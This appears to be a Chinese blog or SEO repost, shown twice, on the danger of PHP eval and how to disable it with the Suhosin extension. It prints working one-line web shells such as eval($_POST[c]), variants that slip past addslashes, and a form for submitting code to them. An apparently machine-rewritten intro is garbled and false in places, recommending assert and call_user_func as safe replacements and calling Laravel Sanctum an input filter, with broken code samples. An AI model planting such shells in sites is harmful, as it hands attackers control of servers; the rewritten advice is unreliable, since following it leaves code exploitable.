如何将存在安全风险的PHP eval函数替换为更安全的替代方案?

2026-04-06 09:581阅读0评论SEO资源
  • 内容介绍
  • 文章标签
  • 相关推荐

本文共计1392个文字,预计阅读时间需要6分钟。

如何将存在安全风险的PHP eval函数替换为更安全的替代方案?

网站曾遭遇黑客攻击,我们了解到PHP的`eval`函数存在严重的安全隐患。今天我们来介绍一些禁止`eval`的方法,供参考。

前期,网站遭受黑客入侵,经排查发现攻击者利用了`eval`函数的漏洞。以下是一些禁止使用`eval`的方法:

1. 使用其他函数替代`eval`:例如使用`assert`、`call_user_func`等。

2.对输入数据进行严格过滤和验证,确保其安全性。

3.使用自定义函数替代`eval`,对输入数据进行预处理。

4.使用框架自带的过滤和验证机制,如Laravel、ThinkPHP等。

以下是一些具体的方法:

如何将存在安全风险的PHP eval函数替换为更安全的替代方案?

1. 使用`assert`函数:

php改为:php

2. 使用`call_user_func`函数:php改为:php

3. 使用自定义函数:php

eval_safe('echo Hello, world!;');?>

4. 使用框架自带的机制:以Laravel为例,可以使用` sanctum`中间件对输入数据进行过滤和验证。

以上方法仅供参考,具体使用时请根据实际情况进行调整。

之前网站收到黑客攻击,我们才知道php的eval函数具有很大的安全隐患。今天我们就来介绍一下禁止eval的方法,有需要的可以参考参考。

前段时间,网站遭受了黑客的入侵,后来在排查中发现了一个php,里面的内容只有很少:

<?php eval($_POST[asda123131323156341]);?>

然后网上搜索一下php的eval函数,发现这个eval函数带有很大的安全隐患。

本地测试一下,在本地环境写一个php,内容如下:

default.php:

<?php eval($_GET[asda]);?>

然后访问一下:localhost/test/default.php?asda=phpinfo();

就可以看到已经把phpinfo给执行了。

或者是访问localhost/test/default.php?asda = echo 11111;同样也会发现1111被echo出来了。

类似的手段还有:

<?php $code="${${eval($_GET[c])}}";?>

访问localhost/test/default.php?c=phpinfo();即可看到

<?php $code=addslashes($_GET[c]); eval(""$code""); ?>

访问localhost/test/default.php?c= ${${phpinfo()}};即可看到

利用可以执行php的eval函数,黑客可以用这个来上传一些后台木马,比如说上传php,然后通过url访问这个php来获得更大的权限。这种称为一句话木马的入侵。比如说:写一个html,内容如下:

<html> <body> <form action="default.php" method="post"> <input type="text" name="c" value="phpinfo();"> <input type="submit" value="submit"> </form> </body> </html>

然后写一个default.php,内容为:</>

<?php eval($_POST[c]);?>

这样的话,想执行什么php就可以直接提交运行即可。

所以: eval()对于php安全来说具有很大的杀伤力,eval函数减弱了你的应用的安全性,因此一般不用的情况下为了防止类似如下的一句话木马入侵,需要禁止!

然而网上很多说使用disable_functions禁止掉eval的方法都是错误的!

其实eval()是无法用php.ini中的disable_functions禁止掉的 :

because eval() is a language construct and not a function

eval是zend的,因此不是PHP_FUNCTION 函数;

那么php怎么禁止eval呢?

如果想禁掉eval可以用php的扩展 Suhosin:

安装Suhosin后在php.ini中load进来Suhosin.so,再加上suhosin.executor.disable_eval = on即可!

总结,php的eval函数在php中是无法禁用的,因此我们也只有使用插件了!

至于安装suhosin来禁止eval函数的步骤为:(未测试)

说明:

php安装目录:/usr/local/php5

php.ini配置文件路径:/usr/local/php5/etc/php.ini

Nginx安装目录:/usr/local/nginx

Nginx网站根目录:/usr/local/nginx/html

1、安装编译工具

yum install wget make gcc gcc-c++ zlib-devel openssl openssl-devel pcre-devel kernel keyutils patch perl

2、安装suhosin

cd /usr/local/src #进入软件包存放目录 wget download.suhosin.org/suhosin-0.9.33.tgz #下载 tar zxvf suhosin-0.9.33.tgz #解压 cd suhosin-0.9.33 #进入安装目录 /usr/local/php5/bin/phpize #用phpize生成configure配置文件 ./configure --with-php-config=/usr/local/php5/bin/php-config #配置 make #编译 make install #安装 安装完成之后,出现下面的界面,记住以下路径,后面会用到。 Installing shared extensions: /usr/local/php5/lib/php/extensions/no-debug-non-zts-20090626/ #suhosin模块路径

3、配置php支持suhosin

vi /usr/local/php5/etc/php.ini #编辑配置文件,在最后一行添加以下内容 extension=/usr/local/php5/lib/php/extensions/no-debug-non-zts-20090626/suhosin.so suhosin.executor.disable_eval = on

注意:suhosin.executor.disable_eval = on 的作用就是禁用eval函数

4、测试

vi /usr/local/nginx/html/phpinfo.php #编辑

<?php phpinfo(); ?>

:wq! #保存退出

service php-fpm restart #重启php-fpm

service nginx restart #重启nginx

注意:如果是apache的话也是一样的,重启apache即可。

浏览器打开phpinfo.php 如下图所示,可以看到suhosin相关信息

至此,Linux下php安装suhosin安装完成!

注意:禁用了 eval后,会有啥后果呢? 首先是代码里使用 eval 的软件将不能使用比如大名鼎鼎的 Discuz! 论坛和 PHPWind论坛将不能正常使用,也影响到phpMyAdmin的旧版本,如果更新到目前最新的3.2.5,就可以使用,只是默认有个警告的提示,在 config.inc.php 中加上 $cfg['SuhosinDisableWarning']=true;

就可以取消这个警告了。

注意:除了eval之外,还有assert也是类似的用法。

标签:Eval之前

本文共计1392个文字,预计阅读时间需要6分钟。

如何将存在安全风险的PHP eval函数替换为更安全的替代方案?

网站曾遭遇黑客攻击,我们了解到PHP的`eval`函数存在严重的安全隐患。今天我们来介绍一些禁止`eval`的方法,供参考。

前期,网站遭受黑客入侵,经排查发现攻击者利用了`eval`函数的漏洞。以下是一些禁止使用`eval`的方法:

1. 使用其他函数替代`eval`:例如使用`assert`、`call_user_func`等。

2.对输入数据进行严格过滤和验证,确保其安全性。

3.使用自定义函数替代`eval`,对输入数据进行预处理。

4.使用框架自带的过滤和验证机制,如Laravel、ThinkPHP等。

以下是一些具体的方法:

如何将存在安全风险的PHP eval函数替换为更安全的替代方案?

1. 使用`assert`函数:

php改为:php

2. 使用`call_user_func`函数:php改为:php

3. 使用自定义函数:php

eval_safe('echo Hello, world!;');?>

4. 使用框架自带的机制:以Laravel为例,可以使用` sanctum`中间件对输入数据进行过滤和验证。

以上方法仅供参考,具体使用时请根据实际情况进行调整。

之前网站收到黑客攻击,我们才知道php的eval函数具有很大的安全隐患。今天我们就来介绍一下禁止eval的方法,有需要的可以参考参考。

前段时间,网站遭受了黑客的入侵,后来在排查中发现了一个php,里面的内容只有很少:

<?php eval($_POST[asda123131323156341]);?>

然后网上搜索一下php的eval函数,发现这个eval函数带有很大的安全隐患。

本地测试一下,在本地环境写一个php,内容如下:

default.php:

<?php eval($_GET[asda]);?>

然后访问一下:localhost/test/default.php?asda=phpinfo();

就可以看到已经把phpinfo给执行了。

或者是访问localhost/test/default.php?asda = echo 11111;同样也会发现1111被echo出来了。

类似的手段还有:

<?php $code="${${eval($_GET[c])}}";?>

访问localhost/test/default.php?c=phpinfo();即可看到

<?php $code=addslashes($_GET[c]); eval(""$code""); ?>

访问localhost/test/default.php?c= ${${phpinfo()}};即可看到

利用可以执行php的eval函数,黑客可以用这个来上传一些后台木马,比如说上传php,然后通过url访问这个php来获得更大的权限。这种称为一句话木马的入侵。比如说:写一个html,内容如下:

<html> <body> <form action="default.php" method="post"> <input type="text" name="c" value="phpinfo();"> <input type="submit" value="submit"> </form> </body> </html>

然后写一个default.php,内容为:</>

<?php eval($_POST[c]);?>

这样的话,想执行什么php就可以直接提交运行即可。

所以: eval()对于php安全来说具有很大的杀伤力,eval函数减弱了你的应用的安全性,因此一般不用的情况下为了防止类似如下的一句话木马入侵,需要禁止!

然而网上很多说使用disable_functions禁止掉eval的方法都是错误的!

其实eval()是无法用php.ini中的disable_functions禁止掉的 :

because eval() is a language construct and not a function

eval是zend的,因此不是PHP_FUNCTION 函数;

那么php怎么禁止eval呢?

如果想禁掉eval可以用php的扩展 Suhosin:

安装Suhosin后在php.ini中load进来Suhosin.so,再加上suhosin.executor.disable_eval = on即可!

总结,php的eval函数在php中是无法禁用的,因此我们也只有使用插件了!

至于安装suhosin来禁止eval函数的步骤为:(未测试)

说明:

php安装目录:/usr/local/php5

php.ini配置文件路径:/usr/local/php5/etc/php.ini

Nginx安装目录:/usr/local/nginx

Nginx网站根目录:/usr/local/nginx/html

1、安装编译工具

yum install wget make gcc gcc-c++ zlib-devel openssl openssl-devel pcre-devel kernel keyutils patch perl

2、安装suhosin

cd /usr/local/src #进入软件包存放目录 wget download.suhosin.org/suhosin-0.9.33.tgz #下载 tar zxvf suhosin-0.9.33.tgz #解压 cd suhosin-0.9.33 #进入安装目录 /usr/local/php5/bin/phpize #用phpize生成configure配置文件 ./configure --with-php-config=/usr/local/php5/bin/php-config #配置 make #编译 make install #安装 安装完成之后,出现下面的界面,记住以下路径,后面会用到。 Installing shared extensions: /usr/local/php5/lib/php/extensions/no-debug-non-zts-20090626/ #suhosin模块路径

3、配置php支持suhosin

vi /usr/local/php5/etc/php.ini #编辑配置文件,在最后一行添加以下内容 extension=/usr/local/php5/lib/php/extensions/no-debug-non-zts-20090626/suhosin.so suhosin.executor.disable_eval = on

注意:suhosin.executor.disable_eval = on 的作用就是禁用eval函数

4、测试

vi /usr/local/nginx/html/phpinfo.php #编辑

<?php phpinfo(); ?>

:wq! #保存退出

service php-fpm restart #重启php-fpm

service nginx restart #重启nginx

注意:如果是apache的话也是一样的,重启apache即可。

浏览器打开phpinfo.php 如下图所示,可以看到suhosin相关信息

至此,Linux下php安装suhosin安装完成!

注意:禁用了 eval后,会有啥后果呢? 首先是代码里使用 eval 的软件将不能使用比如大名鼎鼎的 Discuz! 论坛和 PHPWind论坛将不能正常使用,也影响到phpMyAdmin的旧版本,如果更新到目前最新的3.2.5,就可以使用,只是默认有个警告的提示,在 config.inc.php 中加上 $cfg['SuhosinDisableWarning']=true;

就可以取消这个警告了。

注意:除了eval之外,还有assert也是类似的用法。

标签:Eval之前